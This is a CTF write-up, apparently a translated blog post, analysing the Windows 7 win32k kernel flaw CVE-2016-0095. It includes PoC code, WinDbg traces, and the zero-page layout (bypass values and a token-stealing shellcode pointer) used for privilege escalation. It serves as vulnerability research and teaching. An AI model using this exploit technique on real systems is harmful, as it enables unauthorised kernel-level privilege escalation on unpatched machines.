ssctf pwn450 windows kernel exploitation writeup

Posted by tetley at 2020-03-23

Author: k0shl reprint please indicate the author's blog:


There are many practical problems in the just ended ssctf, such as Java sandbox escape and office stack overflow, which are quite interesting. This pwn450 is a Windows Kernel exploration with the vulnerability number of cve-2016-0095 (ms16-034). Bee13oy, a big cow of clover, provides a PoC that can trigger BSOD. It is required to analyze the vulnerability and provide a PoC in win 7 environment.

I think this process is quite interesting. Let's share it with the masters. This vulnerability is simpler than the cve-2014-4113 vulnerability previously made, and it's also interesting to use. It's suitable for getting started with windows kernel.

In this paper, we will first briefly analyze POC, and then we will analyze the cause of the vulnerability. Finally, we will see where the vulnerability is exploited and complete the exploitation. Finally, I will upload the EOP source code of cve-2016-0095 to GitHub and provide a link.

In addition to the POC provided by bee13oy, I have some problems compiling under vs2013. I slightly adjusted the POC source code and will upload it to GitHub together.

The debugging environment is Windows 7 x86 SP1 according to ssctf topic requirements. Please give me more instructions, thank you for reading!

PoC analysis

The core function of triggering ms17-017 is in trigger ﹣ bsoddoc.

HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect); HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0); SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2); HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13); FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);

This vulnerability is related to bitmap, creating a HDC device handle and selecting a bitmap object, creating a hBrush logic brush, and a hRgn rectangle object, and finally calling FillRgn triggering vulnerability.

Among them, the SelectObject is selected into the hbitmap2 of the bitmap object, which is created by the ntgdisetbitmapattributes function. The bitmap structure defined by the SelectObject is in the demo [createbitmapindirect function].

There are some small problems in the compilation of POC in vs2013. First, w32kapi is used in the refactoring definition of ntgdisetbitmapattributes. An error is reported in the compilation here, just add a predefined header.

#ifndef W32KAPI #define W32KAPI DECLSPEC_ADDRSAFE #endif

The second problem is to reconstruct the NtGdiSetBitmapAttributes. The inline assembler will use the system call number of NtGdiSetBitmapAttributes, and then call KiFastSystemCall to enter the kernel state. Here KiFastSystemCall does not provide the address, which can be directly used in the function to obtain KiFastSystemCall address by GetProcAddress after LoadLibrary.

HMODULE _H_NTDLL = NULL; PVOID addr_kifastsystemcall = NULL; _H_NTDLL = LoadLibrary(TEXT("ntdll.dll")); addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall"); __asm { push argv1; push argv0; push 0x00; mov eax, eSyscall_NtGdiSetBitmapAttributes; mov edx, addr_kifastsystemcall; call edx; add esp, 0x0c; }

In this way, there is no problem in compiling. POC we have a brief analysis. Next, we use WinDbg's pipe to conduct dual machine joint debugging to analyze the cause of this vulnerability.

Ms16-034 vulnerability analysis

This is a vulnerability caused by invalid address access caused by uninitialized direct reference of ﹣ surfobj - > hdev. Run POC first, and WinDbg will catch abnormal interrupt. Take a look at the interrupt location.

kd> r eax=00000000 ebx=980b0af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe9950d8 eip=838b0560 esp=980b0928 ebp=980b09a0 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 win32k!bGetRealizedBrush+0x38: 838b0560 f6402401 test byte ptr [eax+24h],1 ds:0023:00000024=??

The value of eax is 0x0, and eax + 24 is an invalid address space. We need to trace where the value of this eax register is obtained. First, analyze the win32k! Bgetrealizedbrush function.

int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned __int32)) {

The function passes in three variables. Through the analysis of the outer function, it can be found that A3 is the engrealizebrush function, which is a write dead value (which will be mentioned later). A1 is a brush structure, A2 is an ebrushobj structure, and the eax of the vulnerability trigger location is obtained from the ebrushobj structure. Trace and analyze this process.

kd> p win32k!bGetRealizedBrush+0x1c://ebx由第二个参数得来 969e0544 8b5d0c mov ebx,dword ptr [ebp+0Ch] …… kd> p win32k!bGetRealizedBrush+0x25://第二个参数+34h的位置的值交给eax 969e054d 8b4334 mov eax,dword ptr [ebx+34h] …… kd> p win32k!bGetRealizedBrush+0x32://eax+1c的值,交给eax,这个值为0 969e055a 8b401c mov eax,dword ptr [eax+1Ch] kd> p win32k!bGetRealizedBrush+0x35: 969e055d 89450c mov dword ptr [ebp+0Ch],eax kd> p win32k!bGetRealizedBrush+0x38://eax为0,引发无效内存访问 969e0560 f6402401 test byte ptr [eax+24h],1

After the above analysis, we need to know what kind of value is stored in the ebrushobj + 34h position, and directly look at the content of the ebrushobj structure.

kd> dd 8effcaf8 8effcaf8 ffffffff 00000000 00000000 00edfc13 8effcb08 00edfc13 00000000 00000006 00000004 8effcb18 00000000 00ffffff fe96b7c4 00000000 8effcb28 00000000 fd2842e8 ffbff968 ffbffe68

Here, the value stored at 0x8effcaf8 + 34h is fd2842e8, while the value stored at fd2842e8 + 1C is 0x0, which is passed to eax, resulting in the eax being 0x0, thus causing invalid address access.

kd> dd fd2842e8 fd2842e8 108501ef 00000001 80000000 874635f8 fd2842f8 00000000 108501ef 00000000 00000000 fd284308 00000008 00000008 00000020 fd28443c fd284318 fd28443c 00000004 00001292 00000001

Therefore, we need to know what the value of fd2842e8 + 1C is, but we can't get the structure of "ebrushobj" through DT method. It doesn't matter if the object is not clear here. We can trace the function of the external layer to see what the structure of + 1C is stored, and go back through KB stack (because the address of the stack has changed many times, debugging will not be affected)

kd> kb # ChildEBP RetAddr Args to Child 00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38 01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f 02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337 03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51 04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339

We can see that the outermost function calls the win32k! Ntgdifillrgn function, directly tracking the outer function calls, in the ntgdifillrgn function.

EngPaint( (struct _SURFOBJ *)(v5 + 16), (int)&v13, (struct _BRUSHOBJ *)&v18, (struct _POINTL *)(v42 + 1592), v10); // 函数调用会进这里

Next, we restart the system and trace the process again. The address value of the object changes, but does not affect debugging. The first parameter passed in is the surfobj object. Let's take a look at the content of the object

kd> p win32k!NtGdiFillRgn+0x334: 96adbb98 e8fafaffff call win32k!EngPaint (96adb697) kd> dd esp 903fca5c ffb58778 903fca7c 903fcaf8 ffaabd60

The value of the first parameter surfobj is ffb58778, continue to track later

kd> p win32k!EngPaint+0x45: 96adb6dc ff7508 push dword ptr [ebp+8] kd> p win32k!EngPaint+0x48: 96adb6df 8bc8 mov ecx,eax kd> p win32k!EngPaint+0x4a: 96adb6e1 e868e4f8ff call win32k!SURFACE::pfnBitBlt (96a69b4e) kd> dd 903fcaf8//这个值是BRUSH结构体 903fcaf8 ffffffff 00000000 00000000 00edfc13 903fcb08 00edfc13 00000000 00000006 00000004 903fcb18 00000000 00ffffff ffaab7c4 00000000 903fcb28 00000000 ffb58768 ffbff968 ffbffe68//偏移0x34存放的是0xffb58768 903fcb38 ffbbd540 00000006 fe57bc38 00000014 903fcb48 000000d3 00000001 ffffffff 83f77f01 903fcb58 83ec0892 903fcb7c 903fcbb0 00000000 903fcb68 903fcc10 83e17924 00000000 00000000 kd> dd ffb58768//看一下0xffb58768的值 ffb58768 068501b7 00000001 80000000 8754b030 ffb58778 00000000 068501b7 00000000 00000000//这个值是0x0 ffb58788 00000008 00000008 00000020 ffb588bc typedef struct _SURFOBJ { DHSURF dhsurf; HSURF hsurf; DHPDEV dhpdev; HDEV hdev; SIZEL sizlBitmap; ULONG cjBits; PVOID pvBits; PVOID pvScan0; LONG lDelta; ULONG iUniq; ULONG iBitmapFormat; USHORT iType; USHORT fjBitmap; } SURFOBJ;

The length of dhsurf, hsurf and dhpdev types in the front is 4 bytes. It can be seen that the offset + CH position stores hdev objects. It is in POC that hdev objects are not initialized and directly referenced, which leads to the vulnerability. Let's also take a look at some of the structure of ebrushobj.

The red frame should be bushobj, of which the first four bytes are isolidcolor, the middle four bytes are pvrbrush, the last four bytes are flcolortype, the green frame should be the colorref of hBrush defined in POC, and the pink frame is a structure of surfobj-10h. The problem also arises here.


Knowing the cause of the vulnerability, let's consider the exploitation process. First, we return to the location where the vulnerability is triggered. Eax + 24 is referenced here, which is 0x0 + 24. In win7, there are less restrictions. Unlike win8 and win10, there are vdmlowed in the "eprocess" structure to limit the zero page memory of ntallocatevirtualmemory. If we apply for zero page memory through ntallocatevirtualmemory Memory, then the corresponding location is not an invalid address.

Let's take a look at this small part of the logic through pseudo code.

P = 0; v69 = 0; a2 = *(struct EBRUSHOBJ **)(v6 + 28);//key!!a2被赋值为0了! v45 = (*((_BYTE *)a2 + 36) & 1) == 0;//引发BSOD位置 v72 = 0; v75 = 0;

As you can see, A2 will be directly referenced before because hdev is not initialized, and it will be assigned as 0x0. That is to say, all the operations related to A2 after the function, such as A2 + 0xn, are performed in the zero page memory location. For example, A2 + 36 is the location of BSOD, and it will be 0x0 + 24h.

That is to say, if we use ntallocatevirtualmemory to allocate zero page memory, then we can control the value of zero page memory location, that is to say, in win32k! Bgetrealizedbrush, we can control all the locations related to A2.

In other words, we can construct a fake struct at the zero page position to control some controllable positions. Next, in order to make use of it, we need to find some available points in win32k! Bgetrealizedbrush.

I found two points, the first one is easy to find, the second one is not careful enough, but Pxx reminds me, thank you, master Pxx!

The first point is

The second point is

The first point is not easy to use. I mentioned earlier that this is a constant. Here is the engrealizebrush function, which is a fixed value when passing parameters. This value cannot be modified.

Therefore, the location we can exploit should be the second point, but in fact, there are several if statements to judge from our vulnerability trigger location to the vulnerability exploit location, the first one.

.text:BF840799 ; 119: v23 = *((_WORD *)v20 + 712); .text:BF840799 .text:BF840799 loc_BF840799: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+266j .text:BF840799 movzx edx, word ptr [eax+590h] ; check 0x590 .text:BF8407A0 ; 120: if ( !v23 ) .text:BF8407A0 cmp dx, si .text:BF8407A3 ; 121: goto LABEL_23; .text:BF8407A3 jz loc_BF8406F7

At this time, the value of V20 is A2, and the value of A2 comes from A2 = * (struct ebrushobj * *) (V6 + 28); it has been analyzed before. Because it is not initialized, the value is 0, so the value of 0 + 0x590 should be set to a number that is not 0 in the first if statement jump of V23.

Next, take the second jump.

.text:BF8407A3 ; 120: if ( !v23 ) .text:BF8407A3 jz loc_BF8406F7 .text:BF8407A9 ; 122: v24 = (struct EBRUSHOBJ *)((char *)v20 + 1426); .text:BF8407A9 add eax, 592h ; Check 0x592 .text:BF8407AE ; 123: if ( !*(_WORD *)v24 ) .text:BF8407AE cmp [eax], si .text:BF8407B1 ; 124: goto LABEL_23; .text:BF8407B1 jz loc_BF8406F7

In this place, another if statement jump is needed. In this place, the value of 0x592 should be set to a number that is not 0.

The last place is before call EDI

.text:BF8407F0 mov edi, [eax+748h]//edi赋值为跳板值 .text:BF8407F6 setz cl .text:BF8407F9 inc ecx .text:BF8407FA mov [ebp+var_14], ecx .text:BF8407FD ; 134: if ( v26 ) .text:BF8407FD cmp edi, esi//这里仍旧是和0比较 .text:BF8407FF jz short loc_BF840823

Here we check the position of 0x748. EDI and ESI are needed for comparison. EDI is not 0. The value of shellcode assigned to replace token is not 0. You can jump directly.

As long as we bypass these three places, we can get to call EDI, and call EDI comes from eax + 748. We can control this position, so we can get to the shellcode position. Therefore, we need to allocate a 0x1000 memory on the zero page (as long as it is greater than 748, define it freely).

Then we arrange these three values, and then we can reach the zero page controllable position.

Next, we only need to use the steel token shellcode in the source code, and then execute the user state shellcode in the kernel state to complete the token replacement, so we can deploy zero page memory through the following code.

void* bypass_one = (void *)0x590; *(LPBYTE)bypass_one = 0x1; void* bypass_two = (void *)0x592; *(LPBYTE)bypass_two = 0x1; void* jump_addr = (void *)0x748; *(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;

Since there is no SMEP under win7, we do not need to use ROP to modify the value of Cr4 register. In this way, we execute RING3 shellcode under ring0 to complete weight lifting.

Finally, I provide a download address for my exploit:

Thank you for your advice! Have fun and PWN!